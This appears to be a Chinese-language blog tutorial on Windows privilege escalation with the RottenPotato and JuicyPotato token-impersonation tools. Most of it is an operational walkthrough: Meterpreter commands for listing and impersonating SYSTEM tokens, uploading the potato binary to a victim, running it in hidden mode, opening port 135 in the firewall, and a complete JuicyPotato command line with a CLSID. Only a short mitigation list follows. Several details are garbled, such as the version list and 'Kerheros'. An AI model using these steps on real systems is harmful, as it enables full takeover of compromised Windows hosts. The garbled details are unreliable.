令牌( Token) 是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的,有了令牌就可以在不需要密码的情况下访问,伪造令牌攻击的核心是 Kerheros 协议,是一种网络认证协议,它的最大特点是随机性和不可预测性正常是无法猜解而出,生成的令牌将持续存在干系统中 (除非系统重新启动)


土豆家族提权原理实际上是模拟高权限用户令牌

windows 提权 — 烂土豆 (RottenPotato) 及 Juicy Potato 提权

# 烂土豆 令牌窃取 MS16-075

烂土豆 (Rotten Potato提权是一个本地提权,只针对本地用户,不支持域用户,它重点是模拟令牌,我们最好已经获得了一个具有 SeImpersonate 权限或其他同等权限的账户,通过烂土豆程序快速模拟用户令牌来实现权限的提升

SeImpersonate 权限是 Windows 操作系统中的一种安全权限,它控制了一个进程是否有权利以另一个用户的身份执行操作。具有 SeImpersonate 权限的进程可以模拟其他用户的身份,

# 漏洞原理

  • 欺骗 “ NT AUTHORITY\SYSTEM ” 账户通过 NTLM 认证到我们控制的 TCP 终端
  • 对这个认证过程使用中间人攻击(NTLM 重放),为 NT AUTHORITY\SYSTEM 账户本地协商一个安全令牌。这个过程是通过一系列的 Windows API 调用实现的
  • 模仿这个令牌。只有具有模仿安全令牌权限的账户才能去模仿别人的令牌。一般大多数的服务型账户( IIS、MSSQL 等)有这个权限,大多数用户级的账户没有这个权限。

支持版本

1
Windows 781020082012

检查是否具有 Selmpersonate 权限,但是我计算机内是没有的

1
2
whoami / priv
whoami / all

出现这种特权才代表存在

# 漏洞利用

如果得到机器 shell 经过上面检测操作,发现具有 SeImpersonatePrivilege 权限这个必备条件后,首先列出可用令牌,会输出两种类型的令牌,存在模拟令牌就可以利用土豆程序快速模拟用户令牌来实现权限提升

  • Delegation Tokens (委派令牌)是指可以被传递给其他进程的令牌
  • Impersonation Tokens (模拟令牌)是指可以用于模拟其他用户身份的令牌

1
2
3
4
use incognito // 加载MSF获取令牌扩展

list_tokens -u // 列出当前会话shell 可用令牌,会输出两种类型令牌

存在令牌后这个时候要把土豆程序上传到受害者磁盘下,如果前期已经有了 Webshell 那么自然是可以直接在远控工具内上传,也可以选择利用 MSF 上传,不选择上传路径会跟木马在同一个目录里,我这里是桌面上传的位置也是桌面,选择了路径那么就是指定路径

1
2
3
4
5
6
// 将本地的土豆程序potato.exe 上传到目标 

upload /root/home.exe // 默认上传

upload /root/home.exe C:\目标路径\home.exe // 指定上传

上传完成 MSF 命令去执行土豆提权程序,这里也是成功运行了这个进程,运行成功后查看令牌观察是否模拟成功

1
2
3
4
5
6
7
// execute" 是Meterpreter命令,用于在目标系统上执行命令或可执行文件

// "-cH" 是命令选项,其中:"-c" 表示将命令执行的输出显示在当前会话中。"-H" 表示以隐藏模式执行命令,即在目标系统上执行命令时不显示命令窗口。

// 执行文件地址,可以默认的可以是指定的

execute -HC -f potato.exe

生成令牌快速使用可以提权达到

1
2
3
4
5
6
7
// 查看令牌,在Impersonation 成功的话最后一行模拟到system的令牌

list_tokens -u

impersonate_token "NT AUTHORITY\\SYSTEM" // 通过命令使用

getuid // 查看权限

# 多汁土豆

多汁土豆 GitHub 地址

烂土豆提权 Juicypotato 原理和利用 - 青澜 Cyan

提权小神器 - JuicyPotato 多种应用场景详解 - J0o1ey

多汁土豆 (JuicyPotato) 的提权使用

# 漏洞原理

1
2
3
4
5
6
7
8
9
1. 我们本地账户权限为普通用户,但是以System权限加载COM请求,认证NTLM,不出意外认证失败
普通用户无法越权使用System权限

2. 再以本地账户普通用户权限发起默认135端口请求认证NTLM;权限正常认证成功

3. 对上面两个认证NTLM操作数据包做拦截,将2成功数据包替换到1数据包认证,类似漏洞挖掘替换错误为True
这样步骤1通过认证,得到System权限的token

4. 利用得到的Systenm权限创建进程

# Juicy Potato 实现流程

# 漏洞利用

利用前提是本地账户具有 SeImpersonateSeAssignPrimaryToken 权限,必须二者有一种或者同时具备根据命令查看,不同权限工具命令参数不同,均不存在则无法提权

判断权限

1
2
3
4
5
6
7
8
9
10
11
12
whoami /all
whoami priv

----------------------------------------------------------------------

开启SeImpersonate权限 juicypotato的参数使用-t t

开启SeAssignPrimaryToken权限 juicypotato的参数使用-t u

均开启选择-t *

均不存在无法提权

用户具有上述权限可以做到

  • 本地管理员组成员和本地服务帐户
  • 由服务控制管理器启动的服务
  • COM 基础结构启动的并配置为在特定帐户下运行的 COM 服务器

判断端口

判断发起认证的 RPC [1] 判断是否还是 135 如果被修改需要再次指定, Juicy Potato 支持任意本地端口

1
2
3
4
5
6
7
8
9
10
11
12
netstat -abno // 列出系统上所有的网络连接信息,包括本地地址、外部地址、状态、PID(进程ID)以及应用程序的名称


// 如果端口修改使用如下命令指定RPC新的端

-n 9999

// 如果系统禁用RPC,提权需要找到另一系统能够以当前用户的权限进行远程RPC登录,工具参数使用 -k
// Windows默认配置下,允许135端口的入站规则即可进行远程RPC登录

netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

选择可用 ** CLSID **[2]/ 端口

根据被提权机器操作系统选择对应的 CLSID 作为标识符,例如测试系统 Server2012, 选择 CLSID {8BC3F05E-D86B-11D0-A075-00C04FB68820} , 使用对应的权限创建进程监听一个未被占用的端口进行提权

CLSID 参考列表

土豆文件上传根据上文上传命令即可,或者 Webshell 上传;执行成功即获取一个 system 权限 shell 后续就是打开任务管理器,关闭 explore 任务,再开启 explore 任务即可得到一个 system 权限的桌面

1
2
3
// 配置CLSID和端口后最终参数如下 端口-l指定  clsid-c指定

JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D})

# 漏洞防范

  • 阻止攻击者获得 SeImpersonate 或者 SeAssignPrimaryToken 权限
  • 即使打好系统补丁
  • 升级到最新的 windows 系统

  1. RPC(Remote Procedure Call)远程过程调用,是一种计算机通信协议,允许一个程序调用另一个地址空间(通常是另一台机器上)的过程 ↩︎

  2. CLSID 在 Windows 操作系统中扮演着标识和定位特定对象类的重要角色 ↩︎